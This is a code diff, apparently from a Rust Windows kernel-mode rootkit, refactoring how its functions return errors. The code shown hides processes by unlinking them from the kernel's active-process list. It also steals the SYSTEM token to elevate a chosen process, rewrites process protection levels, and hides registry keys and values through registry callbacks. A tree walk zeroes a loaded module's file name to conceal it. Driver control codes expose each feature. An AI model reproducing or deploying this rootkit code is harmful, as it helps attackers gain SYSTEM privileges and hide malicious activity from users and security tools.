let current_node = vad_table;
|
||||||
|
|
||||||
|
// Uses a stack to iteratively traverse the tree
|
||||||
|
let mut stack = alloc::vec![vad_table];
|
||||||
|
|
||||||
|
while let Some(current_node) = stack.pop() {
|
||||||
|
if current_node.is_null() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Converts the current node to an MMVAD_SHORT
|
||||||
|
let vad_short = current_node as *mut MMVAD_SHORT;
|
||||||
|
|
||||||
|
// Calculates start and end addresses
|
||||||
|
let mut start_address = (*vad_short).starting_vpn as u64;
|
||||||
|
let mut end_address = (*vad_short).ending_vpn as u64;
|
||||||
|
|
||||||
|
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
|
||||||
|
start_address |= ((*vad_short).starting_vpn_high as u64) << 32;
|
||||||
|
end_address |= ((*vad_short).ending_vpn_high as u64) << 32;
|
||||||
|
|
||||||
|
// Multiply the addresses by 0x1000 (page size) to get the real addresses
|
||||||
|
let start_address = start_address * 0x1000;
|
||||||
|
let end_address = end_address * 0x1000;
|
||||||
|
|
||||||
|
if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
|
||||||
|
let long_node = vad_short as *mut MMVAD;
|
||||||
|
|
||||||
|
let subsection = (*long_node).subsection;
|
||||||
|
if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() {
|
||||||
|
return Err(STATUS_INVALID_ADDRESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT;
|
||||||
|
let file_name = core::slice::from_raw_parts((*file_object).FileName.Buffer, ((*file_object).FileName.Length / 2) as usize);
|
||||||
|
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stack the right node (if there is one)
|
||||||
|
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
|
||||||
|
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stack the left node (if there is one)
|
||||||
|
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
|
||||||
|
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a link from the list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
|
||||||
|
///
|
||||||
|
unsafe fn remove_link(list: &mut LIST_ENTRY) {
|
||||||
|
let next = list.Flink;
|
||||||
|
let previous = list.Blink;
|
||||||
|
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
list.Flink = list;
|
||||||
|
list.Blink = list;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#![cfg(not(feature = "mapper"))]
|
#![cfg(not(feature = "mapper"))]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
core::ffi::c_void,
|
core::ffi::c_void,
|
||||||
spin::{Mutex, lazy::Lazy},
|
spin::{Mutex, lazy::Lazy},
|
||||||
alloc::vec::Vec,
|
|
||||||
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
|
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
|
||||||
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
|
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::PsGetProcessId, PVOID,
|
ntddk::PsGetProcessId,
|
||||||
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
||||||
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
||||||
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
||||||
@@ -16,7 +16,7 @@ use {
|
|||||||
};
|
};
|
||||||
|
|
||||||
/// Handle for the process callback registration.
|
/// Handle for the process callback registration.
|
||||||
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: PVOID = core::ptr::null_mut();
|
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
|
||||||
|
|
||||||
/// List of target PIDs protected by a mutex.
|
/// List of target PIDs protected by a mutex.
|
||||||
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
||||||
|
|||||||
@@ -5,10 +5,11 @@ use {
|
|||||||
shared::{
|
shared::{
|
||||||
ioctls::*,
|
ioctls::*,
|
||||||
structs::{
|
structs::{
|
||||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess
|
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
|
||||||
|
ProcessSignature, TargetProcess
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
|
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -23,9 +24,15 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|||||||
// Elevates the specified process to system privileges.
|
// Elevates the specified process to system privileges.
|
||||||
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
||||||
|
|
||||||
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// Hide / Unhide the specified process.
|
// Hide / Unhide the specified process.
|
||||||
@@ -39,17 +46,26 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|||||||
// Terminate process.
|
// Terminate process.
|
||||||
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
||||||
|
|
||||||
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
||||||
|
|
||||||
status
|
status
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// Modifying the PP / PPL of a process.
|
// Modifying the PP / PPL of a process.
|
||||||
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
||||||
|
|
||||||
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// Lists the processes currently hidden and protect.
|
// Lists the processes currently hidden and protect.
|
||||||
|
|||||||
@@ -41,6 +41,7 @@ impl Process {
|
|||||||
/// # Returns
|
/// # Returns
|
||||||
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||||
///
|
///
|
||||||
|
#[inline]
|
||||||
pub fn new(pid: usize) -> Option<Self> {
|
pub fn new(pid: usize) -> Option<Self> {
|
||||||
let mut process = core::ptr::null_mut();
|
let mut process = core::ptr::null_mut();
|
||||||
|
|
||||||
@@ -63,13 +64,11 @@ impl Process {
|
|||||||
///
|
///
|
||||||
pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
|
pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
|
||||||
let pid = (*process).pid;
|
let pid = (*process).pid;
|
||||||
let status = if (*process).enable {
|
if (*process).enable {
|
||||||
Self::hide_process(pid)
|
Self::hide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
|
||||||
} else {
|
} else {
|
||||||
Self::unhide_process(pid)
|
Self::unhide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
|
||||||
};
|
}
|
||||||
|
|
||||||
status
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Hide a process by removing it from the list of active processes.
|
/// Hide a process by removing it from the list of active processes.
|
||||||
@@ -80,17 +79,14 @@ impl Process {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
unsafe fn hide_process(pid: usize) -> NTSTATUS {
|
unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> {
|
||||||
// Offsets
|
// Offsets
|
||||||
let unique_process_id = get_offset_unique_process_id();
|
let unique_process_id = get_offset_unique_process_id();
|
||||||
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||||
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
// Retrieving EPROCESS from the target process
|
// Retrieving EPROCESS from the target process
|
||||||
let process = match Self::new(pid) {
|
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||||
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
|
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
|
||||||
@@ -106,7 +102,6 @@ impl Process {
|
|||||||
|
|
||||||
let mut process_info = PROCESS_INFO_HIDE.lock();
|
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||||
let list_ptr = Box::into_raw(Box::new(list));
|
let list_ptr = Box::into_raw(Box::new(list));
|
||||||
log::info!("Stored list entry at: {:?}", list_ptr);
|
|
||||||
|
|
||||||
process_info.push(HiddenProcessInfo {
|
process_info.push(HiddenProcessInfo {
|
||||||
pid,
|
pid,
|
||||||
@@ -123,7 +118,7 @@ impl Process {
|
|||||||
|
|
||||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Unhide a process by removing it from the list of active processes.
|
/// Unhide a process by removing it from the list of active processes.
|
||||||
@@ -134,17 +129,14 @@ impl Process {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
unsafe fn unhide_process(pid: usize) -> NTSTATUS {
|
unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> {
|
||||||
// Offsets
|
// Offsets
|
||||||
let unique_process_id = get_offset_unique_process_id();
|
let unique_process_id = get_offset_unique_process_id();
|
||||||
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||||
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
// Retrieving EPROCESS from the target process
|
// Retrieving EPROCESS from the target process
|
||||||
let process = match Self::new(pid) {
|
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||||
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
|
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
|
||||||
@@ -158,7 +150,7 @@ impl Process {
|
|||||||
let list = process.list_entry.load(Ordering::SeqCst);
|
let list = process.list_entry.load(Ordering::SeqCst);
|
||||||
if list.is_null() {
|
if list.is_null() {
|
||||||
log::error!("List entry stored in AtomicPtr is null");
|
log::error!("List entry stored in AtomicPtr is null");
|
||||||
return STATUS_INVALID_PARAMETER;
|
return Err(STATUS_INVALID_PARAMETER);
|
||||||
}
|
}
|
||||||
|
|
||||||
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
|
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
|
||||||
@@ -174,13 +166,13 @@ impl Process {
|
|||||||
} else {
|
} else {
|
||||||
log::info!("PID ({pid}) Not found");
|
log::info!("PID ({pid}) Not found");
|
||||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
return STATUS_UNSUCCESSFUL;
|
return Err(STATUS_UNSUCCESSFUL);
|
||||||
}
|
}
|
||||||
|
|
||||||
log::info!("Process with PID {pid} unhidden successfully.");
|
log::info!("Process with PID {pid} unhidden successfully.");
|
||||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
||||||
@@ -285,7 +277,7 @@ impl Process {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> NTSTATUS {
|
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> {
|
||||||
let pid = (*signature_info).pid;
|
let pid = (*signature_info).pid;
|
||||||
let sg = (*signature_info).sg;
|
let sg = (*signature_info).sg;
|
||||||
let tp = (*signature_info).tp;
|
let tp = (*signature_info).tp;
|
||||||
@@ -294,10 +286,7 @@ impl Process {
|
|||||||
let protection_offset = get_offset_signature();
|
let protection_offset = get_offset_signature();
|
||||||
|
|
||||||
// Retrieving EPROCESS from the target process
|
// Retrieving EPROCESS from the target process
|
||||||
let process = match Self::new(pid) {
|
let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let new_sign = (sg << 4) | tp;
|
let new_sign = (sg << 4) | tp;
|
||||||
let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE;
|
let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE;
|
||||||
@@ -306,7 +295,7 @@ impl Process {
|
|||||||
(*process_signature).protection.set_type_(tp as u8);
|
(*process_signature).protection.set_type_(tp as u8);
|
||||||
(*process_signature).protection.set_signer(sg as u8);
|
(*process_signature).protection.set_signer(sg as u8);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Raises the token of the specified process to the system token.
|
/// Raises the token of the specified process to the system token.
|
||||||
@@ -321,7 +310,7 @@ impl Process {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn elevate_process(process: *mut TargetProcess) -> NTSTATUS {
|
pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> {
|
||||||
let pid = (*process).pid;
|
let pid = (*process).pid;
|
||||||
let system_process = 4;
|
let system_process = 4;
|
||||||
|
|
||||||
@@ -329,16 +318,10 @@ impl Process {
|
|||||||
let token = get_offset_token();
|
let token = get_offset_token();
|
||||||
|
|
||||||
// Retrieving EPROCESS from the target process
|
// Retrieving EPROCESS from the target process
|
||||||
let target = match Self::new(pid) {
|
let target = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Retrieving EPROCESS from the System process (By default the PID is 4)
|
// Retrieving EPROCESS from the System process (By default the PID is 4)
|
||||||
let system = match Self::new(system_process) {
|
let system = Self::new(system_process).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Some(p) => p,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Accessing EPROCESS.Token
|
// Accessing EPROCESS.Token
|
||||||
let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64;
|
let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64;
|
||||||
@@ -349,7 +332,7 @@ impl Process {
|
|||||||
|
|
||||||
log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}");
|
log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}");
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,20 +2,24 @@
|
|||||||
|
|
||||||
use {
|
use {
|
||||||
super::{
|
super::{
|
||||||
utils::{check_key_value, enumerate_value_key, RegistryInfo}, HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
|
utils::{check_key_value, enumerate_value_key, RegistryInfo},
|
||||||
|
HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
|
||||||
},
|
},
|
||||||
crate::{
|
crate::{
|
||||||
registry::{utils::{check_key, enumerate_key}, Registry},
|
registry::{utils::{check_key, enumerate_key}, Registry},
|
||||||
utils::valid_kernel_memory
|
utils::{pool::PoolMemory, valid_kernel_memory}
|
||||||
},
|
},
|
||||||
alloc::{format, string::String},
|
alloc::{format, string::String},
|
||||||
core::{ffi::c_void, ptr::null_mut},
|
core::{ffi::c_void, ptr::null_mut},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::{
|
ntddk::{
|
||||||
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
|
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
|
||||||
ExAllocatePool2, ExFreePool, ObOpenObjectByPointer, ZwClose
|
ObOpenObjectByPointer, ZwClose
|
||||||
}, _MODE::KernelMode, _REG_NOTIFY_CLASS::{
|
},
|
||||||
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
|
_MODE::KernelMode,
|
||||||
|
_REG_NOTIFY_CLASS::{
|
||||||
|
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey,
|
||||||
|
RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
|
||||||
}, *
|
}, *
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
@@ -137,11 +141,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8;
|
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||||
if buffer.is_null() {
|
Some(mem) => mem.ptr as *mut u8,
|
||||||
|
None => {
|
||||||
|
log::error!("PoolMemory (Enumerate Key) Failed");
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
};
|
||||||
|
|
||||||
let mut result_length = 0;
|
let mut result_length = 0;
|
||||||
let mut counter = 0;
|
let mut counter = 0;
|
||||||
@@ -162,7 +169,6 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
}
|
}
|
||||||
|
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
ExFreePool(buffer as _);
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -209,11 +215,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8;
|
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||||
if buffer.is_null() {
|
Some(mem) => mem.ptr as *mut u8,
|
||||||
|
None => {
|
||||||
|
log::error!("PoolMemory (Enumerate Key) Failed");
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
};
|
||||||
|
|
||||||
let mut result_length = 0;
|
let mut result_length = 0;
|
||||||
let mut counter = 0;
|
let mut counter = 0;
|
||||||
@@ -236,7 +245,6 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
}
|
}
|
||||||
|
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
ExFreePool(buffer as _);
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,7 @@
|
|||||||
#![cfg(not(feature = "mapper"))]
|
#![cfg(not(feature = "mapper"))]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
crate::{
|
crate::{handle_registry,registry::{Registry, utils::KeyListType}},
|
||||||
handle_registry,
|
|
||||||
registry::{Registry, utils::KeyListType}
|
|
||||||
},
|
|
||||||
shared::structs::TargetRegistry,
|
shared::structs::TargetRegistry,
|
||||||
crate::utils::ioctls::IoctlHandler,
|
crate::utils::ioctls::IoctlHandler,
|
||||||
alloc::boxed::Box,
|
alloc::boxed::Box,
|
||||||
|
|||||||
@@ -18,10 +18,12 @@ use {
|
|||||||
/// Checks if the key is present.
|
/// Checks if the key is present.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
|
///
|
||||||
/// - `info`: Pointer to the record operation information structure.
|
/// - `info`: Pointer to the record operation information structure.
|
||||||
/// - `key`: Name of the key to be checked.
|
/// - `key`: Name of the key to be checked.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
|
///
|
||||||
/// - `bool`: Returns `true` if the key is found, otherwise `false`.
|
/// - `bool`: Returns `true` if the key is found, otherwise `false`.
|
||||||
///
|
///
|
||||||
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||||
@@ -29,10 +31,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
|||||||
match (*info_class).KeyInformationClass {
|
match (*info_class).KeyInformationClass {
|
||||||
KeyBasicInformation => {
|
KeyBasicInformation => {
|
||||||
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
|
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
|
||||||
let name = from_raw_parts(
|
let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
(*basic_information).Name.as_ptr(),
|
|
||||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
|
||||||
);
|
|
||||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||||
return true
|
return true
|
||||||
@@ -40,10 +40,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
|||||||
},
|
},
|
||||||
KeyNameInformation => {
|
KeyNameInformation => {
|
||||||
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
|
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
|
||||||
let name = from_raw_parts(
|
let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
(*basic_information).Name.as_ptr(),
|
|
||||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
|
||||||
);
|
|
||||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||||
return true
|
return true
|
||||||
@@ -69,10 +67,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
|||||||
match (*info_class).KeyValueInformationClass {
|
match (*info_class).KeyValueInformationClass {
|
||||||
KeyValueBasicInformation => {
|
KeyValueBasicInformation => {
|
||||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
|
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
|
||||||
let name = from_raw_parts(
|
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
(*value).Name.as_ptr(),
|
|
||||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
|
||||||
);
|
|
||||||
let value = String::from_utf16_lossy(name);
|
let value = String::from_utf16_lossy(name);
|
||||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
return true
|
return true
|
||||||
